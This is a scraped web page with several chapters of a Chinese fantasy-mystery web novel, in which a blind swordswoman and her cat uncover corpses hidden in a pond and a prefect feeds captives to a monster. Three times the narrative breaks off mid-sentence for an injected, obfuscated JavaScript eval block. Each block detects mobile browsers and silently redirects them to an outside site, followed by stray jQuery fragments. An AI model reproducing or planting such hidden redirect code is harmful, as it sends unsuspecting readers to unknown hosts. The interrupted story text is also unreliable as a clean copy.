她扶着石阶一步步下来,慢腾腾地挪到岸边。妇人们也不着急,一边看着她别一头栽进水里,一边接着聊天。她们的话题五花八门,非常跳跃,上个问题还在“麦饭怎么能煮得更软一些”,下个已经飞到了“石杵太硬有没有更好的物件”。君无岐站在一边,面无表情,内心通黄。
召南悄悄在她耳边问,“石杵是什么?”
“小孩子别问。”她三两句打发了懵懂的猫,转头试图带离话题,“姐姐们,你们都是什么时候来的呀?”
妇人们笑话她。
“小姑娘害羞了。”
“你们一群不知羞的,什么话都敢说。”
“这里又没男人,还不兴说说了?”
“哎呀,别吓着人家。妹妹,过来点,这里能坐。”
有人拉着她的手,牵引她到一块大石头前坐下。这里确实是个好地方,水流潺潺,凉风习习,岸边还有堤上垂下的柳枝,拂动时像某人轻柔的指尖。水波推着岸边,一反常态地向着高处流淌,可所有人都好像习以为常似的,没有什么不对。
“我们有的都来这里好几年了。”有人说,“这里真好啊,不用被丈夫打,也不用伺候公公婆婆,每天只要做完活计就行,也不用晚上挑灯织布,用的灯油多了,还要挨打……”
“哎,说这些做什么!”旁边的妇人打了她一下,“当时不都说好了,不再提这些事了吗?”
“是我多嘴。”那人反应过来,急忙转了话头,“这里来的最久的是柳姐吧?”
“大抵是我了。”柳姐笑着应,“我来桃花源都快十年啦,村子变化真大啊,现在多热闹。”
“十年?没别人来的更早吧?”
“还是有的。”柳姐说道,“我来的时候胡奶奶就在了,还有木婆婆。当时村里还有几个人,只是后来她们都走了……”
“走了?去哪了?”
“不知道。”柳姐摇摇头,“那时候胡奶奶还生气来着,说着什么‘若要找死也不必拦’之类的,不过我后面也再也没见过她们了。”
“哇,胡奶奶也会生气啊?”
“都是人怎么可能不生气嘛。不过她们一定是做了什么胡奶奶接受不了的事,我猜肯定是又回去找丈夫了吧?”
“哼,什么丈夫,讨命鬼罢了,得多想不开才会逃出来又去找他们?”
“打谷场上不就还跪着一个吗……”
耳听话题越来越歪,君无岐轻咳一声,努力再拉回来,“胡奶奶在村里很久了吗?”
“那当然了,她都快一百岁了吧!”
“哇,这么久?那岂不是村子在她就在了?比那棵据说很灵验的大榕树都长寿吧?”
“瞧你这话说的,应该是有了胡奶奶才有的村子!”
“怪不得我总觉得她什么都知道呢。”
“她就是什么都知道,不信你随便找个问题去问她。”
“可当时她怎么会想起建村子呢?”
这个问题一出,所有女人都不约而同地沉默了。
过了一会才有人小声说,“因为她看不得人受苦吧?”
“应该是吧……”
“一定是!”
“对对对……”
女人们连声附和,又将谈天带向其他方向。君无岐没有再掺和其中,而是默默起身,悄无声息地走了。
召南还有点糊涂,“这就完了?你打听出什么来了?”
它怎么觉得就是听了一耳朵八卦?
“十年前就有人出去,胡奶奶也无力阻止,那说明出去的办法是恒定的,而且不能以人力干涉。”君无岐思路很清晰,“柳姐又说这十年村子变化很大,那么出去的办法一定与村子本身无关。”
她轻笑,“我们怎么就一直忘了眼皮下的东西呢?”
召南从她肩上探出个脑袋。
“你是说,沿着河走?”它有点迟疑,“但会被挡住吧?”
“我们有船呀。”她掂一掂手中的黄金船,“虽然船头歪了,但应该也能用……嗯,这样如何?”
召南简直要对这船产生心理阴影了。它打了个怵,试图说服她换个方法,“你确定吗?这可是河哎,万一翻了我可救不了你!”
“总不能用纸叠一个吧。”君无岐倒是很有信心,“等晚上没人的时候试试就知道了。”
在桃花源里时间过得很快,她在村里游荡过几轮,天就突兀地黑了下去。太阳沉没,银月升起,恰还是个上弦月,弯弯如一轮银钩。君无岐带着猫蹲在河边,沉默。
“我就说不行吧!”召南炸毛,“船都沉下去了!这就是个装饰品,怎么能用来乘坐!”
君无岐愁眉苦脸,“哎,忘了这茬了……”
她唉声叹气地把船捞出来,擦干揣进袖子,发愁,“那还能用什么?把屋里的床拆了行不行?”
“你想点靠谱的!”猫踩她,“你把床拆了让后面来的人睡哪?地板?”
“这也不行那也不行……”君无岐悻悻地咕哝,忽然想起什么,“对了,还有这个呢!”
她扬起手,一截柳枝从掌心滑过,她顺手撷了片树叶,松手,那柳叶就打着旋落进水中,恰如一艘小船。召南正要好奇地低头去看,就见她凌
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14798548|157397||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
空起势,画了个印痕。
“木信印?”它简直难以置信,“你竟然把木信印的力量用在这种地方?”
“总要物尽其用的嘛。”君无岐毫无愧色,理直气壮,“你看,这不是起作用了?”
水中漂浮的柳叶缓缓变大,膨胀到一人多长,恰恰够她躺在上面。她伸手入水确定了下位置,毫不犹豫地提着召南踏了上去。
柳叶震了一下,两边打卷,阻住漫上来的水流,顺着水波的方向漂流而上。君无岐捏了下一动不敢动的猫,“怎么不动了?”
“你这恣意妄为的家伙!”猫恨恨出声,“倘若我未来有一天死了,肯定是被你吓死的!”
君无岐大笑。她抱着猫向后一仰,柳叶晃动,险险翻没。召南伸出爪子又要来踩她,她握住猫,把它放在自己小腹上。
“召南,”她说,“星空是不是很漂亮?”
召南紧紧趴她身上,转头去看夜空,过了好一会才闷闷道,“嗯。”
它知道君无岐看不见,于是别扭片刻,还是忍不住开口,“星星好亮啊。”
桃花源的灯很少很少。
所以那星就格外的亮,像一幕绸缎上烫开的无数火星,静寂而汹涌。不知那晚苏敏静是否看到的是同样的星星吗?召南胡思乱想着,伸长爪子,拨了下水面。
恰在此时,柳叶儿船滑进了虎野泽。
河流果然是通往外界的道路,不知从何时起,水流已经变成了正常的方向。召南惊喜地坐起来,“我们出来了!”
君无岐懒洋洋地应了一声。
她们正在宽阔无波的大湖上飘荡,夜间的虎野泽是如此静谧、沉默,万物安歇,醒着的只有她们和头顶的星穹,她们只是湖中一砾。遥远处有树林的影子,是那棵庞大的榕树,它的倒影蓬大如云,笼在湖面上,同时交叠着星星,好像一场凝固的大雨没入屋檐。水天交接处是一种很难口述的鸦青色,有淡淡的反光,偶尔会有涟漪从那里荡开,可能是鱼,也可能是夜风揉皱。
召南描述不出那种景色,反复尝试无果,最终沮丧地趴在她身上。
“我想让你看到。”它小声说。
“我已经看到了。”君无岐也小声说。
她摸了摸召南的脑袋,耳畔所闻是水、风和猫,她觉得很安静,这种安静让她安心。
“我以前学剑的时候,师尊曾经告诉我。”不知为何她忽然起了点谈兴,“天上每一颗星星,都是一个刹那。”
“每一个刹那?”召南迷惑不解,“什么意思?”
“每个生灵都有自己最辉煌的那个瞬间,那个瞬间会被天空看到,然后凝固成一颗星星。”君无岐摸着它的毛,“所以如果你找不到一个人,可以问星星,它会告诉你答案。”
“可……”召南迟疑,“我没有辉煌的刹那。”
“会有的。”君无岐亲昵地点了下它的鼻子,“只是还没到来而已。”
猫于是安心地窝在她怀中。
一人一猫就这么在湖里漂了一宿,第二天蒙蒙亮才靠岸。
“我以后再也不坐船了,呕……”召南有气无力,“好晕……”
君无岐扛着猫慢慢往城里的方向走,此刻城门半掩,气氛肃穆,她也察觉到了几分不对劲。
“……怎么回事?”
召南抬起头。
“城墙上怎么都挂着白绫?”它大惊失色,“谁出事了?”
君无岐没有耽搁,转头去问身旁的老农。
老农满面愁容。
“死了,知州家里那个败家子死了!”他说,“现在正满城搜捕凶手呢!”
何家荣死了。
34. 虎神(十三)
“今天已经在丰城留了第五日了!不能再留了!”
“那能有什么办法?城门封了,只许进不许出,咱们又不能从城墙上飞出去!”
“姓何的怎么就死这么巧,偏偏就这个时候……”
“别说了!现在还是想想怎么办吧!到期赶不上可是大问题,会影响咱们镖局声誉的!”
“朝我吼有什么用?能吼出点钱来咱们多买几匹马也行,省省力气吧。”
“你……!”
“好了!”
秦二娘和陈平威吵得不可开交,关惊澜坐在一边,脸颊明显比进城时消瘦一圈,眉宇间都是疲惫。她一只手握着那只铜辟邪,重重拍了下桌子。
这里仍然是客栈后院,掌柜的人还不错,即使现在住店的人不少,仍然留了那间仓库给他们使。秦二娘好不容易才从牢里出来,此刻还在理亏,便率先住了嘴,只余下一个陈平威仍在忿忿不平。
“君姑娘也不知道哪里去了……”她有些担心,“那天知州府里的动静不小。”
关惊澜揉了揉太阳穴。
“傅家的事算是我的私事,是我耽误了大家。”她冷静道,“但我至少……至少要弄清楚究竟是谁杀了傅必先,苏姨又在哪里,否则我夜夜不得安心。”
关惊澜攥起拳,“日程的问题不用担心。多买几匹马能赶上,我私下里自己垫钱,算作镖队的,买多少都行,肯定不能误了日子。”
秦二娘望着她,欲言又止。陈平威也有点不好意思,挠了挠头发,正想说点什么,忽听门外传来熟悉的声音。
“你们要买马?我这里有钱啊。”
关惊澜一怔,腾一下站起来,惊喜万分,“君姐姐,你回来了!”
来者正是君无岐和召南。
只是此时她们的形象不咋地——君无岐头发上身上都沾满了木屑草屑,衣袖勾破了,还好不怎么影响穿,衣摆上不知道怎么蹭的黑一块灰一块,而她本人毫无所觉,依然镇定自若。倒是召南估计忍到了极限,跳到地上就开始疯狂抖毛,肉眼可见地抖出满天飞絮。
“我就不该听你的藏在柴火车里混进城!”它怨气冲天,“被通缉的只有你,我又没有!”
“哎呀,咱们不是应该同进退嘛。”君无岐摸摸猫头,三两下又把它给哄好了,转身一探袖子,从中摸出只黄金船来,塞给关惊澜,“这东西拿去抵了,应当能买得起几匹马吧?”
关惊澜吓了一跳,捧着船简直不知如何是好,“这……你们从哪弄来的?你们又是去了哪?怎搞的如此狼狈?”
“唉,这事说来话长。”君无岐抖抖衣裳,从桌上摸了只茶杯,秦二娘急忙帮她添上水,“那船你就拿着吧。我从何家荣那里顺的,他家现在想必乱得不可开交,顾不上关心一只船。”
她把事情经过讲了一遍,屋中众人这才了解原委,正当各自沉思之际,她又问,“何家荣死了是怎么回事?什么时候死的?怎么死的?”
一提起这事陈平威就开始叹气。
“他昨天晚上死的。半夜城里就挂上了白绫,还戒严了。”他说,“我找人打听了打听,说是他在卧房里被人拉开了脖子,血溅了有三尺多高。”
说到这里他忽然压低了声音,神神秘秘道,“而且凶手用他的血在墙上写了字,‘罪有应得’!现在城里都在传,是他曾经糟践过的女子回来报仇了。”
召南蹦到君无岐膝盖上,“还好不是因为你。”
“什么话。”君无岐捏它,“我下手很有数的好不,那一剑要不了他的命,也就是让他在床上躺几天……几个月。”
陈平威选择性无视了这一人一猫的对话。
“我觉得肯定是女鬼,其他人哪有那么多闲工夫来收拾他?”他目光灼灼地看着君无岐,“而且何府这两天戒备森严,除了妖怪鬼物,还有谁能悄无声息地潜进去?”
君无岐气定神闲地摸猫。
陈平威有点失望,但还不死心,“他的死状和傅必先很有几分相似,有可能凶手是同一人……同一鬼。”
秦二娘锤了他一拳。
“说就说,你老看君姑娘干什么。”她说,“你还打听出什么来了?”
“那还能打听到什么,就这些呗……”陈平威悻悻,“对了,那个砗磲到底是怎么回事,你查出来没有?”
“没有,哪那么简单。”说起这个秦二娘就烦躁,“我现在都怀疑是否是有人故意放进来陷害我们的,不然哪这么巧?”
“可陷害我们做什么,我们就是个外地镖队,待不了几天就得走。”陈平威也顺着这个方向思考起来,“难道想让我们当替死鬼?”
他被自己这个怀疑吓了一跳,当即在屋子里疑神疑鬼地逡巡一圈。君无岐有点听不下去,咳了一声。
“这个,可能是个乌龙。”她还蒙着眼纱,但明显能看出来神色有点飘,“你出来吧。”
一屋子人瞪大了眼睛。
从旮旯里冒出个神色阴沉的老太太。
这小老太太只有半人高,头发花白,穿灰色褂子,表情不太自然。她见镖队众人都在看她,顿时恼了,“是我!我叫东米,是我把那玩意弄来的!”
“你好端端地陷害我们做什么?”秦二娘为这破事还坐了次大牢,比她气势可足多了,“你究竟是什么人?若不好好交代,我现在就送你去见官!”
东米的气焰瞬间就灭了,垂下脑袋嘀嘀咕咕。
“我来解释吧。”君无岐头痛,“东米是个……呃……东仓使者。”
“东仓使者?”镖队众人面面相觑,“那是什么?”
“是种妖怪,有易形移物,占卜吉凶的能力。”君无岐说,“还记得你们在洪新县时曾丢了批粮食吗?那就是东米偷去给徐婆婆下葬用的。后来她觉得愧疚,便一路悄悄跟着我们,听说何家富庶,便偷了他家的米粮补偿,谁料到中途出了岔子,竟然还移来一个砗磲。”
“原来如此。”关惊澜上下打量着东米,“但偷人钱粮怎么说也是过错,还是得报官……”
“别报官,求你了!”东米一听这还了得,“我可以替你们做活,有了我,就不用费劲搬来搬去了!我还能占卜吉凶,虽然不像祖辈那么厉害,但也能作个参考!”
“这……”关惊澜思考片刻,“也不是不行。但你可要记住,不许再偷人家东西。”
“我晓得!”东米连连点头,“我一定好好干活!”
这边疑问算是了了,秦二娘虽然仍是不忿,但看在东米是好心办坏事的份上也就算了。几个人聚在一起,商量下一步应该怎么办。
“我们首要目标还是得找到那个凶手。”关惊澜道,“一天找不到他,这城门就不会开。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14802625|157397||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
”
君无岐表示赞同,“傅家和何家有些私底下的秘密往来,我觉得可以从这里入手。”
“好,我今日就再去拜访傅府。”关惊澜点头,“何家不是那么容易进的,陈叔,你再去打听打听消息,关于何家的,再多一点也好。二娘,那天君姐姐追查的那个人,你去查查,那家关门的米粮店也许就有线索。”
几人皆应是。
“至于君姐姐……”她有些迟疑,“还有什么别的想法吗?”
“我和你一同去傅府。”君无岐道,“有些事我需要去确认一下。”
“好。”关惊澜点点头,“那就这么定了。”
几人分头出发。
傅府离得并不远,半刻钟就到。关惊澜敲门时还有点紧张,看到应门之人时变作了惊讶。
“蓝婆?”她说,“怎么是你?门房呢?”
蓝婆好似老了十岁,脊梁都塌了下去,发髻里清楚地夹着几缕银白,“走了,都走了。”
她们跟着她往里走,蓝婆一反往日的冷淡,不住絮叨。
“丫鬟下人都走了,不愿意在这干了,你看,园子都没人打理。老爷死了,夫人走了,家里只剩下少爷和小姐……什么傅府,散完了算了!”
偌大一个府邸在几天内迅速倾颓,甚至铺地的砖缝里都生出了草叶。原本的碧瓦飞甍辉煌不再,黯淡无光,有的柱子都剥了漆。
“昨日老爷本家那边来了人,要收回这座宅子,让小姐骂回去了。”蓝婆说道,“少爷……唉,少爷也是个不顶事的,怎么就能任由小姐自己一个人扛着呢!”
关惊澜忍不住问道,“哪里来的本家?怎么就要宅子了?”
蓝婆看她一眼。
“宗族啊。”她叹息,“就是这样的东西。”
她们跨过月亮门。
远远传来争吵声。
“傅文元你简直狼心狗肺!”傅秀善的声音尖利,仔细听带了几分哭腔,“你凭什么就能做主把宅子给他们?就你的科举重要,其他人、其他事都不重要了吗!你把我当成什么,把爹娘都当成什么了!”
“秀善你别这么激动,我这不是在跟你商量吗。”傅文元温温吞吞的,“你不想不给就是了,何必呢……”
关惊澜听不下去,一个箭步冲了过去。
“秀善!”她装得很假地没看到傅文元,“你怎么在这啊?我听人说你们宅子要被收走?那你要住在哪?不然跟我回镖局住一段怎么样?”
四连问,每一问都在扎傅文元。
“不是,惊澜妹妹。”他赶紧开口,“没有要被收走!我只是在问秀善是否要到本家去住而已,毕竟那里还有年龄相近的姐妹,可能会更……”
“哎呀,原来文元哥也在。”关惊澜直接打断了他的话,“我还以为傅家人都不在了呢,竟然让秀善无家可归,既然你在这里,怎么还要让宅子被人收走呢?”
傅文元根本无从解释,磕巴了半天也知道自己没理,怫然道,“这是我们家的家事,如何轮得到你来插手!”
傅秀善当即大怒,就要又和他吵。关惊澜勉力安抚住她,忽听君无岐慢慢走了过来。
“我倒是还有几个问题想问问傅少爷。”她语气慢悠悠的,但说出来的话却完全不是这个味。
“关于傅府的秘密,你知道多少?”
35. 虎神(十四)
“你在说什么东西?”傅文元皱起眉,“傅府能有什么秘密?”
君无岐袖手站在原地。
“那可未必。”她分明毫无动作,可傅文元就是觉得她在藐视自己,“既然你不清楚,那应当也不介意我四处看看吧?”
“我倒要看看你能找出什么东西!”傅文元面皮涨红,怒极反笑,“亏前几日我们家还好吃好喝的待你,你竟如此不知感恩,真是忘恩负义!”
“你这又是什么话!”傅秀善忍不下去,怒骂道,“自母亲失踪后你一直都很奇怪,父亲去世了你不仅不想着继承家业,反而一门心思地要把宅子让出去!傅文元,你到底想干什么!”
“我问心无愧!”傅文元梗着脖子,“你们去搜吧,看看究竟能搜出什么!”
君无岐转身就走。
她的目标十分明确,直奔当初苏敏静生病后住的那座小院。不过仅仅几天无人打理而已,院落上攀爬的植物越发茂密旺盛,几乎要淹没门廊。关惊澜和傅秀善跟着她过来,见到此地不由有几分奇怪。
“君姐姐。”关惊澜犹豫着问,“这里有什么特殊的吗?”
君无岐抬起头。
“当时前来拜访苏夫人时,召南说闻到了一股臭味,当时我以为是后厨没处理干净垃圾。”她慢慢道,“但结合此地极其茂盛的植物,还有苏夫人曾对我说过的话,我现在有个不太好的猜想。”
关惊澜神色一凝。
“你是说……?”
“多说无益,还是得先找到证据。”她把召南从肩膀上抱下来,“好召南,你再去闻闻,究竟是哪里有味道?”
召南自知责任重大,一落地就左右嗅闻起来,胡须颤的好像琴弦。它顺着气味一路前行,最终来到小院一侧的水塘边。
“这里?”傅秀善迟疑,“能藏什么呢?”
水塘并不大,一边是奇石假山,上面装饰了些花草灌木,长长的藤一直落进水里。水中栽了荷花,这时节还没开,但圆圆的荷叶已经有些支棱了出来。站在岸边往下看,只能看到一汪绿色的池水。
“这里的味道最浓了。”召南肯定道,“如果有秘密,一定在这里!”
“那我叫人来排水。”傅秀善下定了决心,“我要知道我父亲究竟是为什么死的。”
君无岐侧过脸。
“你确定吗?”她温声问,“即使真相你不能接受?”
“现如今这状况,还能有什么我不能接受的事情呢。”傅秀善道,“排!”
君无岐微不可察地叹了口气。
“不必。”她说,“我来就好,你且后退几步。”
她们向后倒退几步,见君无岐垂首,指尖掐诀,口中念咒,“原流泉浡,冲而徐盈。混混滑滑,浊而徐清。约而能张,幽而能明。弱而能强,柔而能刚。甚淖而滒,甚纤而微。靡滥振荡,与天地鸿洞。无所左而无所右,蟠委错紾,与万物始终。一立而万物生!”
尾音坠地,水声大作。
傅秀善愕然瞪大眼睛。
她从未想过会见到如此景象。
池水翻涌旋转,裹挟着荷叶泥沙,如晴空碧龙,徐徐而出,丝毫不差地跌入府外水沟。这水塘远比她们想得要深,乍一看竟有四五尺之高,池水流去,便再也掩盖不住那股难闻的臭味,浓烈刺鼻,令人闻之遁走。傅秀善捂着鼻子,难掩心中惊疑和恐惧,来到塘边往下看了一眼。
她对上了一双眼睛。
一双死去多时的、黯淡的、枯败的眼睛。
“啊!”虽然早已设想过种种景象,但此种情形还是超过了她的承受能力,禁不住尖叫出声,“那是……那是什么!”
关惊澜扶住她的肩膀,她也有些惊疑不定,但比她要更镇定些,“是尸体。”
而且不止一具。
傅文元也赶了过来,见到塘中状况噔噔噔后退好几步,面色煞白,“这是……这是……”
淤泥之下,埋藏着数具尸体。
他们身上压着石头,大约也因此没有浮到水面上。看腐败程度显然都不是同一时间埋下的,有的已化为白骨,而最新的一具尚存皮肉,只是那情景也十分可怖,皮肤鼓起膨大数倍,发绿发黑,眼球都从眼眶中被挤了出来,恶臭几乎能把人熏晕。在场的除了一个瞎子,其余人等无不惊惧。
“报官吧,报官!”傅秀善几乎要崩溃了,全靠关惊澜支撑着才没倒下去,“这都是、这都是怎么回事!”
“不行,不能报官!”傅文元不知哪里来了些力气,一把攥住妹妹的手,“这是大罪!足以能让父亲分尸的大罪!他的灵体还在灵堂,你想让他连入土都不得安生吗!”
“那怎么办!这么多人!”傅秀善的指甲用力掐他皮肉,“他们就白死了吗,都是人命,人命啊!”
傅文元一时语塞,但仍坚持不肯放弃,甚至面孔都有些狰狞,“不行!出了这样大的事,揭露出去你让咱们两个怎么生存,会被人人喊打的!”
他抓得傅秀善手腕都有些发紫,她试图挣脱,但傅文元反而越来越用力,“你想以后出门都会被人唾骂吗?你想以后我们甚至在祖宗面前都抬不起头来吗?傅秀善,你能不能睁开眼睛,看看外面!你现在能好好活着是因为还有傅府在,你要把这一切都毁了吗!”
“放开我!”傅秀善使劲挣开他,“那你说怎么办!这么多……这么多人!难道你的良心能过得去吗?”
“过得去!”傅文元低吼,“他们已经死了!但我们都还活着,死人注定只能为活人开路不是吗!”
傅秀善一愣。
“可……可……”她转头求助似的去看关惊澜,关惊澜沉默不语,只是朝她点了点头。
“我可以不报官。”傅秀善含着眼泪,“但我要知道是怎么回事!这么多年,父亲究竟背着我们在做什么,我必须知道!”
傅文元深深吸了口气。
“行。”他阴沉着脸,“那就这么办。”
他转头去看君无岐,却发现不知什么时候她离了他们很远,自己一个人静静站在院墙下。刚想开口问,身边倏地过
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14807339|157397||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
去道影子,是关惊澜带着傅秀善也往那边去了,紧接着就是,“嘭!”
傅文元傻在原地。
他身上溅满了液体,呈诡异的绿色,散发出此生都没闻到过的刺鼻臭味,几乎要把他熏晕。他两眼翻白,说话时嗓音都在抖,“这……这是什么?”
头发上啪得砸下来一滴,他赶忙闭嘴。
“尸体炸了。”君无岐轻描淡写,“泡水就会这样。你挺倒霉。”
傅文元简直想扇死那个盏茶前要来这边的自己。
二话不说,他几乎用尽全身的力气朝外跑走,沿途不住有东西往下淌……他不想知道那是什么。远远的还能听到没走的下人的惊叫,想必从此以后他就是个谈资了。
三个人静静看和听着他离开。
“总算走了。”君无岐松口气,念了几遍水咒把周边洗干净,“这里面有多少人?”
关惊澜扯了块布挡在脸上,虽然聊胜于无,“目测有七八个。”
君无岐问,“都有指甲吗?”
“没有。”关惊澜摇摇头,“应当都被拔去做莲花了。”
她们心情都很沉重。
“按那朵莲花的体量,这些人太少了。”君无岐沉思,“一定还有更多,但他们是怎么处理的呢?”
“目前还不知道。”关惊澜的眉头就没松开过,“那么傅必先和何远山的私下交易应当就是这个了,他替何远山处理尸体,何远山保他傅家荣华……啧,真恶心。”
傅秀善在一旁听得坐立不安,“这是什么意思?我爹为什么要替知州处理尸体?”
关惊澜看了一眼君无岐。
她点点头。
关惊澜便转过头,低声向傅秀善解释来龙去脉。
“竟是这样。”傅秀善有些失魂落魄,“那岂不是说,我爹帮何远山害了很多人?这算什么?”
大颗大颗的眼泪从眼眶里滚落出来,越来越多,她慌忙拿袖子去擦,却根本来不及。关惊澜看得心疼,默默把她揽在怀里,听她抽噎着说,“为什么要这样?”
可惜人已死,问再多为什么也没有意义了。
等到傅秀善情绪平复下来,关惊澜问她,“君姐姐找到苏姨了。等到此间事了,你就去找她吧。”
她擦了擦脸,闷声道,“好。”
水塘里一片乱七八糟,一直这么放着也不是个事,君无岐发愁,“何远山老谋深算,所有脏手的事都推了出去,怎么找到他的犯案证据呢?”
“何远山现在所有精力都放在找杀他儿子的凶手上了,也许我们能趁这个时机去他府中一探。”关惊澜提议,“也许能找到什么。”
“有道理哎!”召南眼睛一亮,蹭蹭蹭地窜上君无岐肩膀,“话本子里不是都写大反派会在家里藏暗室吗?说不定我们就能找到他的暗室,发现他的犯罪证据呢!”
“你倒是知道的不少。”君无岐亲昵地揉一把猫头,“好吧,那就这么办,我们半夜进他府中一探。”
“保不齐会有什么意外收获呢。”
36. 虎神(十五)
夜半时分。
今夜乌云密布,不见月辉,似乎还有隐隐雷声,像是要下雨。
丰城最近不太平,家家户户都早早熄了灯睡觉,倒是何府里仍然灯火通明。何远山正坐在太师椅上喝茶,被来来回回的脚步声搅得心烦意乱,重重把茶碗砸在桌子上。
“别走了!”
脚步声一顿。
妇人转过身来,面目不知为何有些阴沉。她手里紧紧攥着帕子,骨节青白,几乎能听到关节咯吱咯吱的声音,“儿子死得这么惨,你还有闲心坐这里喝茶?”
“那我能怎么办,上街上去到处搜查凶手吗?”何远山语气恶劣,“都是你养的好儿子,天天的正事不干,这下倒好,被人一刀抹了脖子!”
“我养的?这时候就是我养的?”妇人气得发抖,“好你个何远山,平时不教育,这时候知道怨我了!我告诉你,那凶手一日找不到,你就一日别想好过!”
“你简直不可理喻!”何远山嘭的一拍桌子起身,指着她鼻子大骂,“陈青黛,你别以为多年夫妻我就不敢动你,你看看惹出来的这些事,迦楼罗提前唤醒了不说,还被人削了胳膊翅膀!若不是你纵容家荣,怎么能让那女瞎子给钻了空子!”
“又都成我的错了!”陈青黛的嗓门可比他高得多,当即就嚷嚷上了,“当初不是你想要钱,要权,要力量,要长生,我这才腆着老脸去求了使者,求来了迦楼罗!你现在倒好,翻脸不认人了!”
两人在屋里争吵起来,噼里啪啦的声音响了好一会才停。片刻后何远山阴着脸出来,脖子上赫然几条血印,衣服也都扯破了,“呸”的一口唾在地上,里面夹着数道血丝。
“疯婆娘……”
他拉了下外衣。府里的下人不知都去哪了,此刻冷冷清清,无人伺候。他心里暗骂这些不识相的贱人,自己提着灯,左右看看,向着后院去了。
屋顶上青瓦轻轻一响,无人察觉。
何府本身占地就不大,后院更是窄窄巴巴,勉强能凑出个拳头大小的地摆上几颗怪石。这些石头堆叠起来,又在上面修了个凉亭,只是路实在陡峭难走,许久都没人上去过。何远山扒拉了几下草丛,假山下赫然露出个半人高的洞口,他便弯下腰,一头钻了进去。
这假山外面看着不大,实则里面一路向下,能余出不少空间。何远山摸索着走了大概盏茶时间,就听到深处传来窸窸窣窣的声音,还有股冲鼻的腥味。
他大着胆子开口,“迦楼罗大人?”
里面含糊应了句什么。
他心下稍定,紧着又走几步。
黑暗中火焰跳了一下。
映出洞中景象。
迦楼罗正盘腿坐在里面。他本相将近一丈,窝在这种地方多少有些委屈,再加上暗室中还有他物,更显狭小。只见他腿上横卧一人,一动不动,一条手臂被迦楼罗抓在手里,已然啃食掉了一半。他咀嚼骨头和咬脆骨没什么区别,嘎嘣一下就进了肚子,抬起脸来时,羽毛已经被浸得透湿。
“你来有什么事?”迦楼罗正忙着干活,“可是那个女瞎子出现了?”
提及君无岐时,他瞳光一厉,顿显凶性,“在哪?”
“没有没有,我们还在找。”何远山赶忙回答,“我来就是想问问您,这些可还够?需不需要再找些来?”
迦楼罗咧开嘴。
“当然不够。”他的眼睛如同野兽,“让我出去,我能吃光你全城的人。”
这可是万万不能的!
何远山急忙安抚他,“迦楼罗大人,现在还不是时候。明日就是真正的虎神祭了,一大早全城人都会前去祭拜,您还能借机吞了那劳什子虎神,不是更好?”
“哼,你说的也有几分道理。”迦楼罗一口吞掉怀中之人的臂膀,那人晃动着,一张毫无生气的面孔翻过来暴露在灯火之下,面貌普通,毫不起眼。若是傅秀善或蓝婆在场,一定就会发现这人正是苏敏静的娘家人,那个当时在府中喋喋不休的中年妇人。
何远山眼睁睁地看着迦楼罗吃人,心中毫无波动。这对兄妹是自己送上门来的,也不知道他们脑瓜子里都在想什么,傅必先死了以后竟然想到他知州府上来闹。恰好当时迦楼罗受了重伤,急需生料补给,他当即把这二人扣下喂了迦楼罗。先前那个矮瘦弟弟早已经进了肚子,只剩下这个姐姐还留了个残尸。
不过想必过不了多久,就不是“残尸”了。
何远山想着心中目标,脸上不禁泛起一丝志得意满的微笑。他又安抚迦楼罗几句,这家伙正在进食,很不耐烦的应付几句。何远山也不在意,弯腰退出了暗室。
虎神祭,一切只要等到虎神祭就好了!
一想到美好的未来,似乎刚才被陈青黛抓的那几下也无足轻重。何远山背着手,慢慢往卧房的方向去。
一个小丫头正从廊下匆匆路过。
“哎,你!”他遥遥一指她,“过来过来。”
小丫头停步,迟疑几息,似乎在确认是否是真的,看到何远山不耐烦的面色后急忙走过来,低头问,“老爷有什么吩咐?”
她露出一截后颈,不白也不细腻,发质显得枯黄蓬乱,是个典型的穷人家的孩子。何远山正在兴头上,对这样木讷的反应很不高兴,背着手问她,“看到老爷怎么不问好?”
小丫头轻轻瑟缩一下,细声细气道,“我……我没看到。”
“啪!”
何远山抬手就是一记耳光,直接将她扇倒在地,勃然大怒,“眼睛都不长,干什么吃的!”
小丫头坐在地上捂着脸,一声不吭。
“起来!”何远山伸腿去踹她,“坐在这还当我欺负你了似的,真把自己当个人物?”
小丫头慢慢从地上爬起来。
虎神祭即将到来,勃发的渴望和一丝说不清道不明的恐惧让何远山的头脑发昏,一时间竟然没有发现任何不对劲。等到他反应过来时,那小丫头已经到了他跟前,两人近在咫尺。
他这才察觉到了什么,“你……”
腹中一凉,紧接着就是着火似的一烫。
小丫头抬起脸,拔刀。
椒花坠红湿两鬓,一点寒光照夜来。
何远山捂着腹部,喉中格格作响,竭力挤
